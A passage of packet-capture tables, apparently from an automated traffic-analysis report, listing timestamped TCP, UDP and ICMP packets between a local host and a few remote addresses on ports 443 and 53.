Nov 21, 2024 22:11:07.734111071 CET	443	49981	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:07.740444899 CET	49979	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:07.740536928 CET	443	49979	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:08.180042982 CET	443	49981	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:08.184328079 CET	443	49981	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:08.184398890 CET	443	49981	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:08.184462070 CET	49981	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:08.184463024 CET	49981	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:08.184554100 CET	49981	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:08.184554100 CET	49981	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:08.184601068 CET	443	49981	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:08.184632063 CET	443	49981	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:08.187128067 CET	49986	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:08.187179089 CET	443	49986	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:08.187253952 CET	49986	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:08.187417984 CET	49986	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:08.187452078 CET	443	49986	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:08.527144909 CET	443	49982	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:08.527713060 CET	49982	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:08.527726889 CET	443	49982	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:08.528167963 CET	49982	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:08.528172970 CET	443	49982	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:08.623120070 CET	443	49983	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:08.623629093 CET	49983	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:08.623714924 CET	443	49983	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:08.624099970 CET	49983	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:08.624114037 CET	443	49983	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:08.988053083 CET	443	49982	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:08.991102934 CET	443	49982	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:08.991211891 CET	49982	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:08.991211891 CET	49982	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:08.991264105 CET	49982	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:08.991286993 CET	443	49982	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:08.993935108 CET	49987	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:08.993963003 CET	443	49987	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:08.994071960 CET	49987	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:08.994213104 CET	49987	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:08.994225025 CET	443	49987	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:09.071485996 CET	443	49983	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:09.074882984 CET	443	49983	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:09.075165033 CET	49983	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:09.075165033 CET	49983	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:09.075165987 CET	49983	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:09.077598095 CET	49988	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:09.077652931 CET	443	49988	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:09.077724934 CET	49988	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:09.077873945 CET	49988	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:09.077892065 CET	443	49988	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:09.184729099 CET	443	49984	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:09.185281038 CET	49984	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:09.185313940 CET	443	49984	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:09.185775042 CET	49984	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:09.185843945 CET	443	49984	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:09.235982895 CET	443	49985	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:09.236541033 CET	49985	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:09.236563921 CET	443	49985	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:09.237010002 CET	49985	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:09.237015963 CET	443	49985	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:09.385333061 CET	49983	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:09.385411024 CET	443	49983	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:09.631145954 CET	443	49984	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:09.634150982 CET	443	49984	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:09.635366917 CET	49984	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:09.635457039 CET	49984	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:09.635457039 CET	49984	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:09.635504961 CET	443	49984	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:09.635534048 CET	443	49984	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:09.638128996 CET	49989	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:09.638163090 CET	443	49989	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:09.638258934 CET	49989	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:09.638396978 CET	49989	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:09.638411045 CET	443	49989	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:09.688596010 CET	443	49985	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:09.691554070 CET	443	49985	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:09.693185091 CET	49985	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:09.693267107 CET	49985	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:09.693285942 CET	443	49985	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:09.693295956 CET	49985	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:09.693300962 CET	443	49985	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:09.695702076 CET	49990	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:09.695815086 CET	443	49990	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:09.695913076 CET	49990	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:09.696049929 CET	49990	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:09.696083069 CET	443	49990	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:09.970897913 CET	443	49986	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:09.973387957 CET	49986	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:09.973473072 CET	443	49986	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:09.973869085 CET	49986	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:09.973886013 CET	443	49986	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:10.419508934 CET	443	49986	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:10.422435999 CET	443	49986	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:10.422797918 CET	49986	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:10.422862053 CET	49986	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:10.422907114 CET	443	49986	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:10.422936916 CET	49986	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:10.422952890 CET	443	49986	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:10.425678015 CET	49991	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:10.425735950 CET	443	49991	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:10.425828934 CET	49991	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:10.426064968 CET	49991	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:10.426079035 CET	443	49991	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:10.716711998 CET	443	49987	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:10.717291117 CET	49987	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:10.717315912 CET	443	49987	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:10.718163013 CET	49987	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:10.718168974 CET	443	49987	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:10.799838066 CET	443	49988	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:10.800338030 CET	49988	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:10.800410986 CET	443	49988	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:10.801012039 CET	49988	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:10.801029921 CET	443	49988	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:11.155030966 CET	443	49987	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:11.158087969 CET	443	49987	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:11.158154011 CET	49987	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:11.158214092 CET	49987	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:11.158237934 CET	443	49987	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:11.158247948 CET	49987	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:11.158255100 CET	443	49987	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:11.161050081 CET	49992	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:11.161154985 CET	443	49992	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:11.161242962 CET	49992	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:11.161427021 CET	49992	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:11.161463976 CET	443	49992	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:11.233856916 CET	443	49988	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:11.236701012 CET	443	49988	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:11.236790895 CET	49988	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:11.237071037 CET	49988	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:11.237122059 CET	443	49988	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:11.237155914 CET	49988	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:11.237186909 CET	443	49988	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:11.241636038 CET	49993	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:11.241727114 CET	443	49993	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:11.242115021 CET	49993	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:11.242443085 CET	49993	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:11.242480040 CET	443	49993	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:11.418929100 CET	443	49990	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:11.419455051 CET	49990	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:11.419517994 CET	443	49990	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:11.420054913 CET	49990	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:11.420068026 CET	443	49990	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:11.493571997 CET	443	49989	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:11.494033098 CET	49989	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:11.494045973 CET	443	49989	13.107.246.63	192.168.2.4
Nov 21, 2024 22:11:11.494621992 CET	49989	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:11:11.494627953 CET	443	49989	13.107.246.63	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 21, 2024 22:09:08.801462889 CET	57646	53	192.168.2.4	1.1.1.1
Nov 21, 2024 22:09:09.024184942 CET	53	57646	1.1.1.1	192.168.2.4
Nov 21, 2024 22:09:23.009078026 CET	138	138	192.168.2.4	192.168.2.255
Nov 21, 2024 22:09:23.727057934 CET	53	60360	1.1.1.1	192.168.2.4
Nov 21, 2024 22:09:23.755265951 CET	53	63946	1.1.1.1	192.168.2.4
Nov 21, 2024 22:09:23.873389959 CET	61856	53	192.168.2.4	1.1.1.1
Nov 21, 2024 22:09:23.873523951 CET	60344	53	192.168.2.4	1.1.1.1
Nov 21, 2024 22:09:24.010349035 CET	53	61856	1.1.1.1	192.168.2.4
Nov 21, 2024 22:09:24.010713100 CET	53	60344	1.1.1.1	192.168.2.4
Nov 21, 2024 22:09:29.351800919 CET	54236	53	192.168.2.4	1.1.1.1
Nov 21, 2024 22:09:29.351963997 CET	51742	53	192.168.2.4	1.1.1.1
Nov 21, 2024 22:09:29.433039904 CET	62751	53	192.168.2.4	1.1.1.1
Nov 21, 2024 22:09:29.490521908 CET	53	51742	1.1.1.1	192.168.2.4
Nov 21, 2024 22:09:29.570596933 CET	53	62751	1.1.1.1	192.168.2.4
Nov 21, 2024 22:09:31.865062952 CET	52882	53	192.168.2.4	1.1.1.1
Nov 21, 2024 22:09:31.865178108 CET	51073	53	192.168.2.4	1.1.1.1
Nov 21, 2024 22:09:32.392816067 CET	60340	53	192.168.2.4	1.1.1.1
Nov 21, 2024 22:09:32.392957926 CET	49816	53	192.168.2.4	1.1.1.1
Nov 21, 2024 22:09:32.538373947 CET	53	60340	1.1.1.1	192.168.2.4
Nov 21, 2024 22:09:32.539648056 CET	53	49816	1.1.1.1	192.168.2.4
Nov 21, 2024 22:09:33.469094038 CET	51962	53	192.168.2.4	1.1.1.1
Nov 21, 2024 22:09:33.469265938 CET	52496	53	192.168.2.4	1.1.1.1
Nov 21, 2024 22:09:33.469563961 CET	50298	53	192.168.2.4	1.1.1.1
Nov 21, 2024 22:09:33.469681025 CET	52370	53	192.168.2.4	1.1.1.1
Nov 21, 2024 22:09:33.558383942 CET	58746	53	192.168.2.4	1.1.1.1
Nov 21, 2024 22:09:33.558803082 CET	61781	53	192.168.2.4	1.1.1.1
Nov 21, 2024 22:09:33.606276035 CET	53	50298	1.1.1.1	192.168.2.4
Nov 21, 2024 22:09:33.606456995 CET	53	51962	1.1.1.1	192.168.2.4
Nov 21, 2024 22:09:33.607681036 CET	53	52370	1.1.1.1	192.168.2.4
Nov 21, 2024 22:09:33.608988047 CET	53	52496	1.1.1.1	192.168.2.4
Nov 21, 2024 22:09:33.695914984 CET	53	58746	1.1.1.1	192.168.2.4
Nov 21, 2024 22:09:33.696255922 CET	53	61781	1.1.1.1	192.168.2.4
Nov 21, 2024 22:09:34.713958025 CET	54297	53	192.168.2.4	1.1.1.1
Nov 21, 2024 22:09:34.714394093 CET	63540	53	192.168.2.4	1.1.1.1
Nov 21, 2024 22:09:34.721226931 CET	55420	53	192.168.2.4	1.1.1.1
Nov 21, 2024 22:09:34.721390009 CET	55159	53	192.168.2.4	1.1.1.1
Nov 21, 2024 22:09:34.852613926 CET	53	63540	1.1.1.1	192.168.2.4
Nov 21, 2024 22:09:34.852626085 CET	53	54297	1.1.1.1	192.168.2.4
Nov 21, 2024 22:09:34.853478909 CET	65152	53	192.168.2.4	1.1.1.1
Nov 21, 2024 22:09:34.853831053 CET	49394	53	192.168.2.4	1.1.1.1
Nov 21, 2024 22:09:34.992750883 CET	53	49394	1.1.1.1	192.168.2.4
Nov 21, 2024 22:09:34.993594885 CET	59665	53	192.168.2.4	1.1.1.1
Nov 21, 2024 22:09:34.993768930 CET	57448	53	192.168.2.4	1.1.1.1
Nov 21, 2024 22:09:35.131757021 CET	53	57448	1.1.1.1	192.168.2.4
Nov 21, 2024 22:09:35.334129095 CET	57781	443	192.168.2.4	172.64.41.3
Nov 21, 2024 22:09:35.336110115 CET	60762	443	192.168.2.4	172.64.41.3
Nov 21, 2024 22:09:35.638144970 CET	57781	443	192.168.2.4	172.64.41.3
Nov 21, 2024 22:09:35.638219118 CET	60762	443	192.168.2.4	172.64.41.3
Nov 21, 2024 22:09:36.246036053 CET	57781	443	192.168.2.4	172.64.41.3
Nov 21, 2024 22:09:36.246104956 CET	60762	443	192.168.2.4	172.64.41.3
Nov 21, 2024 22:09:36.465684891 CET	443	57781	172.64.41.3	192.168.2.4
Nov 21, 2024 22:09:36.465807915 CET	443	57781	172.64.41.3	192.168.2.4
Nov 21, 2024 22:09:36.466283083 CET	443	57781	172.64.41.3	192.168.2.4
Nov 21, 2024 22:09:36.466371059 CET	443	57781	172.64.41.3	192.168.2.4
Nov 21, 2024 22:09:36.467410088 CET	443	60762	172.64.41.3	192.168.2.4
Nov 21, 2024 22:09:36.467519999 CET	443	60762	172.64.41.3	192.168.2.4
Nov 21, 2024 22:09:36.467824936 CET	443	60762	172.64.41.3	192.168.2.4
Nov 21, 2024 22:09:36.467906952 CET	443	60762	172.64.41.3	192.168.2.4
Nov 21, 2024 22:09:36.470840931 CET	60762	443	192.168.2.4	172.64.41.3
Nov 21, 2024 22:09:36.471393108 CET	60762	443	192.168.2.4	172.64.41.3
Nov 21, 2024 22:09:36.473757029 CET	57781	443	192.168.2.4	172.64.41.3
Nov 21, 2024 22:09:36.474416971 CET	60762	443	192.168.2.4	172.64.41.3
Nov 21, 2024 22:09:36.475084066 CET	57781	443	192.168.2.4	172.64.41.3
Nov 21, 2024 22:09:36.485668898 CET	60762	443	192.168.2.4	172.64.41.3
Nov 21, 2024 22:09:36.485764027 CET	57781	443	192.168.2.4	172.64.41.3
Nov 21, 2024 22:09:36.569165945 CET	443	60762	172.64.41.3	192.168.2.4
Nov 21, 2024 22:09:36.569860935 CET	443	57781	172.64.41.3	192.168.2.4
Nov 21, 2024 22:09:36.798557997 CET	443	57781	172.64.41.3	192.168.2.4
Nov 21, 2024 22:09:36.798645973 CET	443	57781	172.64.41.3	192.168.2.4
Nov 21, 2024 22:09:36.798657894 CET	443	57781	172.64.41.3	192.168.2.4
Nov 21, 2024 22:09:36.798667908 CET	443	57781	172.64.41.3	192.168.2.4
Nov 21, 2024 22:09:36.798897028 CET	57781	443	192.168.2.4	172.64.41.3
Nov 21, 2024 22:09:36.798974991 CET	57781	443	192.168.2.4	172.64.41.3
Nov 21, 2024 22:09:36.801305056 CET	443	60762	172.64.41.3	192.168.2.4
Nov 21, 2024 22:09:36.801404953 CET	443	60762	172.64.41.3	192.168.2.4
Nov 21, 2024 22:09:36.801413059 CET	443	60762	172.64.41.3	192.168.2.4
Nov 21, 2024 22:09:36.801431894 CET	443	60762	172.64.41.3	192.168.2.4
Nov 21, 2024 22:09:36.801600933 CET	60762	443	192.168.2.4	172.64.41.3
Nov 21, 2024 22:09:36.801685095 CET	60762	443	192.168.2.4	172.64.41.3
Nov 21, 2024 22:09:36.810817003 CET	443	57781	172.64.41.3	192.168.2.4
Nov 21, 2024 22:09:36.811867952 CET	443	60762	172.64.41.3	192.168.2.4
Nov 21, 2024 22:09:36.812398911 CET	443	57781	172.64.41.3	192.168.2.4
Nov 21, 2024 22:09:36.812742949 CET	443	57781	172.64.41.3	192.168.2.4
Nov 21, 2024 22:09:36.813088894 CET	57781	443	192.168.2.4	172.64.41.3
Nov 21, 2024 22:09:37.338150024 CET	60762	443	192.168.2.4	172.64.41.3
Nov 21, 2024 22:09:37.347832918 CET	60762	443	192.168.2.4	172.64.41.3
Nov 21, 2024 22:09:37.377073050 CET	443	60762	172.64.41.3	192.168.2.4
Nov 21, 2024 22:09:37.377744913 CET	443	57781	172.64.41.3	192.168.2.4
Nov 21, 2024 22:09:37.407385111 CET	60762	443	192.168.2.4	172.64.41.3
Nov 21, 2024 22:09:37.407430887 CET	57781	443	192.168.2.4	172.64.41.3
Nov 21, 2024 22:09:37.457365990 CET	57781	443	192.168.2.4	172.64.41.3
Nov 21, 2024 22:09:37.457921028 CET	57781	443	192.168.2.4	172.64.41.3
Nov 21, 2024 22:09:37.501750946 CET	57781	443	192.168.2.4	172.64.41.3
Nov 21, 2024 22:09:37.501972914 CET	57781	443	192.168.2.4	172.64.41.3
Nov 21, 2024 22:09:37.662858009 CET	443	60762	172.64.41.3	192.168.2.4
Nov 21, 2024 22:09:37.665999889 CET	443	60762	172.64.41.3	192.168.2.4
Nov 21, 2024 22:09:37.672986031 CET	443	60762	172.64.41.3	192.168.2.4
Nov 21, 2024 22:09:37.678767920 CET	443	60762	172.64.41.3	192.168.2.4
Nov 21, 2024 22:09:37.681641102 CET	60762	443	192.168.2.4	172.64.41.3
Nov 21, 2024 22:09:37.782707930 CET	443	57781	172.64.41.3	192.168.2.4
Nov 21, 2024 22:09:37.783970118 CET	443	57781	172.64.41.3	192.168.2.4
Nov 21, 2024 22:09:37.784501076 CET	443	57781	172.64.41.3	192.168.2.4
Nov 21, 2024 22:09:37.823731899 CET	57781	443	192.168.2.4	172.64.41.3
Nov 21, 2024 22:09:37.827328920 CET	443	57781	172.64.41.3	192.168.2.4
Nov 21, 2024 22:09:37.829809904 CET	443	57781	172.64.41.3	192.168.2.4
Nov 21, 2024 22:09:37.830854893 CET	443	57781	172.64.41.3	192.168.2.4
Nov 21, 2024 22:09:37.832165956 CET	57781	443	192.168.2.4	172.64.41.3
Nov 21, 2024 22:09:39.429193974 CET	57781	443	192.168.2.4	172.64.41.3
Nov 21, 2024 22:09:39.429601908 CET	57781	443	192.168.2.4	172.64.41.3
Nov 21, 2024 22:09:39.430794001 CET	60762	443	192.168.2.4	172.64.41.3
Nov 21, 2024 22:09:39.430906057 CET	60762	443	192.168.2.4	172.64.41.3
Nov 21, 2024 22:09:39.754786968 CET	443	57781	172.64.41.3	192.168.2.4
Nov 21, 2024 22:09:39.755352974 CET	443	60762	172.64.41.3	192.168.2.4
Nov 21, 2024 22:09:39.756020069 CET	443	57781	172.64.41.3	192.168.2.4
Nov 21, 2024 22:09:39.756438017 CET	443	57781	172.64.41.3	192.168.2.4
Nov 21, 2024 22:09:39.756638050 CET	57781	443	192.168.2.4	172.64.41.3
Nov 21, 2024 22:09:39.757205009 CET	443	60762	172.64.41.3	192.168.2.4
Nov 21, 2024 22:09:39.758027077 CET	443	60762	172.64.41.3	192.168.2.4
Nov 21, 2024 22:09:39.758836985 CET	60762	443	192.168.2.4	172.64.41.3
Nov 21, 2024 22:09:39.946691990 CET	57781	443	192.168.2.4	172.64.41.3
Nov 21, 2024 22:09:39.946907997 CET	57781	443	192.168.2.4	172.64.41.3
Nov 21, 2024 22:09:39.973819971 CET	57781	443	192.168.2.4	172.64.41.3
Nov 21, 2024 22:09:39.973933935 CET	57781	443	192.168.2.4	172.64.41.3
Nov 21, 2024 22:09:40.272826910 CET	443	57781	172.64.41.3	192.168.2.4
Nov 21, 2024 22:09:40.275614977 CET	443	57781	172.64.41.3	192.168.2.4
Nov 21, 2024 22:09:40.275717020 CET	443	57781	172.64.41.3	192.168.2.4
Nov 21, 2024 22:09:40.299001932 CET	443	57781	172.64.41.3	192.168.2.4
Nov 21, 2024 22:09:40.302903891 CET	443	57781	172.64.41.3	192.168.2.4
Nov 21, 2024 22:09:40.303047895 CET	443	57781	172.64.41.3	192.168.2.4
Nov 21, 2024 22:09:40.314414024 CET	57781	443	192.168.2.4	172.64.41.3
Nov 21, 2024 22:09:40.329801083 CET	57781	443	192.168.2.4	172.64.41.3
Nov 21, 2024 22:09:40.330116987 CET	53603	443	192.168.2.4	23.44.203.19
Nov 21, 2024 22:09:40.637801886 CET	53603	443	192.168.2.4	23.44.203.19
Nov 21, 2024 22:09:41.248485088 CET	53603	443	192.168.2.4	23.44.203.19
Nov 21, 2024 22:09:41.460004091 CET	443	53603	23.44.203.19	192.168.2.4
Nov 21, 2024 22:09:41.460848093 CET	443	53603	23.44.203.19	192.168.2.4
Nov 21, 2024 22:09:41.460874081 CET	443	53603	23.44.203.19	192.168.2.4
Nov 21, 2024 22:09:41.460894108 CET	443	53603	23.44.203.19	192.168.2.4
Nov 21, 2024 22:09:41.460908890 CET	443	53603	23.44.203.19	192.168.2.4
Nov 21, 2024 22:09:41.461287975 CET	53603	443	192.168.2.4	23.44.203.19
Nov 21, 2024 22:09:41.463088989 CET	53603	443	192.168.2.4	23.44.203.19
Nov 21, 2024 22:09:41.463269949 CET	53603	443	192.168.2.4	23.44.203.19
Nov 21, 2024 22:09:41.573338032 CET	443	53603	23.44.203.19	192.168.2.4
Nov 21, 2024 22:09:41.573704004 CET	53603	443	192.168.2.4	23.44.203.19
Nov 21, 2024 22:09:41.786653996 CET	443	53603	23.44.203.19	192.168.2.4
Nov 21, 2024 22:09:41.786694050 CET	443	53603	23.44.203.19	192.168.2.4
Nov 21, 2024 22:09:41.786724091 CET	443	53603	23.44.203.19	192.168.2.4
Nov 21, 2024 22:09:41.786751986 CET	443	53603	23.44.203.19	192.168.2.4
Nov 21, 2024 22:09:41.786777973 CET	443	53603	23.44.203.19	192.168.2.4
Nov 21, 2024 22:09:41.787215948 CET	53603	443	192.168.2.4	23.44.203.19
Nov 21, 2024 22:09:41.787373066 CET	53603	443	192.168.2.4	23.44.203.19
Nov 21, 2024 22:09:41.811001062 CET	443	53603	23.44.203.19	192.168.2.4
Nov 21, 2024 22:09:41.824635983 CET	53603	443	192.168.2.4	23.44.203.19
Nov 21, 2024 22:09:41.896892071 CET	443	53603	23.44.203.19	192.168.2.4
Nov 21, 2024 22:10:01.785952091 CET	443	53603	23.44.203.19	192.168.2.4
Nov 21, 2024 22:10:01.823404074 CET	53603	443	192.168.2.4	23.44.203.19
Nov 21, 2024 22:10:03.185020924 CET	443	53603	23.44.203.19	192.168.2.4
Nov 21, 2024 22:10:03.229145050 CET	53603	443	192.168.2.4	23.44.203.19
Nov 21, 2024 22:10:11.784892082 CET	443	53603	23.44.203.19	192.168.2.4
Nov 21, 2024 22:10:33.090063095 CET	61216	443	192.168.2.4	172.64.41.3
Nov 21, 2024 22:10:33.090231895 CET	61216	443	192.168.2.4	172.64.41.3
Nov 21, 2024 22:10:33.090431929 CET	61216	443	192.168.2.4	172.64.41.3
Nov 21, 2024 22:10:33.090534925 CET	61216	443	192.168.2.4	172.64.41.3
Nov 21, 2024 22:10:34.104238033 CET	61216	443	192.168.2.4	172.64.41.3
Nov 21, 2024 22:10:34.104290009 CET	61216	443	192.168.2.4	172.64.41.3
Nov 21, 2024 22:10:34.104739904 CET	61216	443	192.168.2.4	172.64.41.3
Nov 21, 2024 22:10:34.104779005 CET	61216	443	192.168.2.4	172.64.41.3
Nov 21, 2024 22:10:34.231858015 CET	443	61216	172.64.41.3	192.168.2.4
Nov 21, 2024 22:10:34.232506037 CET	61216	443	192.168.2.4	172.64.41.3
Nov 21, 2024 22:10:34.245600939 CET	61216	443	192.168.2.4	172.64.41.3
Nov 21, 2024 22:10:34.245703936 CET	61216	443	192.168.2.4	172.64.41.3
Nov 21, 2024 22:10:34.474205017 CET	443	61216	172.64.41.3	192.168.2.4
Nov 21, 2024 22:10:34.474242926 CET	443	61216	172.64.41.3	192.168.2.4
Nov 21, 2024 22:10:34.474271059 CET	443	61216	172.64.41.3	192.168.2.4
Nov 21, 2024 22:10:34.474298000 CET	443	61216	172.64.41.3	192.168.2.4
Nov 21, 2024 22:10:34.474324942 CET	443	61216	172.64.41.3	192.168.2.4
Nov 21, 2024 22:10:34.474351883 CET	443	61216	172.64.41.3	192.168.2.4
Nov 21, 2024 22:10:34.474735975 CET	61216	443	192.168.2.4	172.64.41.3
Nov 21, 2024 22:10:34.474827051 CET	61216	443	192.168.2.4	172.64.41.3
Nov 21, 2024 22:10:34.474874973 CET	61216	443	192.168.2.4	172.64.41.3
Nov 21, 2024 22:10:34.479008913 CET	61216	443	192.168.2.4	172.64.41.3
Nov 21, 2024 22:10:34.562681913 CET	443	61216	172.64.41.3	192.168.2.4
Nov 21, 2024 22:10:34.583878040 CET	443	61216	172.64.41.3	192.168.2.4
Nov 21, 2024 22:10:34.588398933 CET	61216	443	192.168.2.4	172.64.41.3
Nov 21, 2024 22:10:34.593858004 CET	443	61216	172.64.41.3	192.168.2.4
Nov 21, 2024 22:10:34.593890905 CET	443	61216	172.64.41.3	192.168.2.4
Nov 21, 2024 22:10:34.594372988 CET	61216	443	192.168.2.4	172.64.41.3
Nov 21, 2024 22:10:34.798177958 CET	443	61216	172.64.41.3	192.168.2.4
Nov 21, 2024 22:10:34.805290937 CET	443	61216	172.64.41.3	192.168.2.4
Nov 21, 2024 22:10:34.838536024 CET	61216	443	192.168.2.4	172.64.41.3

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Nov 21, 2024 22:09:36.800236940 CET	192.168.2.4	1.1.1.1	c29b	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
